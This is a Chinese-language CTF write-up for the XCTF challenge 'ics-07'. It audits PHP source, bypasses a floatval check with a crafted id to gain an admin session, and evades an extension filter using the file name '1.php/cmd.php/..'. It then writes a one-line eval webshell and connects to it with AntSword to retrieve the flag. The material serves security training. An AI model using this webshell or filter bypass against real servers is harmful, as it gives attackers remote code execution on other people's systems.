当前位置: 代码迷 >> 综合 >> [XCTF]ics-07
  详细解决方案

[XCTF]ics-07

热度:52   发布时间:2023-12-03 00:12:40.0

工控云管理系统项目管理页面解析漏洞

 

打开链接,一个工控云管理系统,随意点击旁边的菜单,发现只有云平台项目管理中心可以进入

初始页面只有一个,可以找到一个view-source,点进去可以看到源码

考点:php代码审计、中间件解析漏洞、上传一句话木马连接

PHP代码审计

代码一共分为三部分

第一部分:提交的get参数page不为index.php即可

<?phpsession_start();//在用户登陆成功后,将用户特定标识存储到 session 会话中if (!isset($_GET[page])) {//检测page是否已设置且非空。show_source(__FILE__);//返回被高亮处理的代码,文件die();//输出并退出当前脚本}if (isset($_GET[page]) && $_GET[page] != 'index.php') {//要求提交的get参数page不为空且字符串不为index.php,则跳转flag.phpinclude('flag.php');//include包含并执行}else {header('Location: ?page=flag.php');}?>

第二部分:之后会得到一admin的session,通过post传入con与file两个参数,保存至/uploaded/backup/xxx文件名下

 <?phpif ($_SESSION['admin']) {//session为admin$con = $_POST['con'];//post传入con和file$file = $_POST['file'];$filename = "backup/".$file;//文件名为backup/fileif(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){die("Bad file extension");}else{chdir('uploaded');//上传成功后,在uploaded目录,创建文件,
并将con的内容写入/backup内,实际路径就是:uploaded/backup/xxx.xxx$f = fopen($filename, 'w');fwrite($f, $con);fclose($f);}}?>

第三部分:获取一个id参数, 并且id不为1,且最后一位等于9。
这里用到了floatval这个函数,floatval 函数用于获取变量的浮点值,但是floatval在遇到字符时会截断后面的部分,所以可以构造id=1gy9来满足第一个if条件,if条件满足条件时,即可使得$result变量为TRUE,查询正确,就会得到一个admin的session了

<?phpif (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {//floatval()函数,返还它其变量的浮点值include 'config.php';$id = mysql_real_escape_string($_GET[id]);$sql="select * from cetc007.user where id='$id'";$result = mysql_query($sql);$result = mysql_fetch_object($result);} else {$result = False;die();}if(!$result)die("<br >something wae wrong ! <br>");if($result){echo "id: ".$result->id."</br>";echo "name:".$result->user."</br>";$_SESSION['admin'] = True;}?>

floatval()函数使用代码示例

<?php

$var = '47.129mln';

$float_value = floatval($var);

echo $float_value;

?>

输出:47.129

这里使用HackBar工具

先满足1,3部分条件

写入一句话

con=<?php @eval($_POST[password]);?>&file=1.php/cmd.php/..

使用蚁剑连接,密码为password,并且获取目录内的flag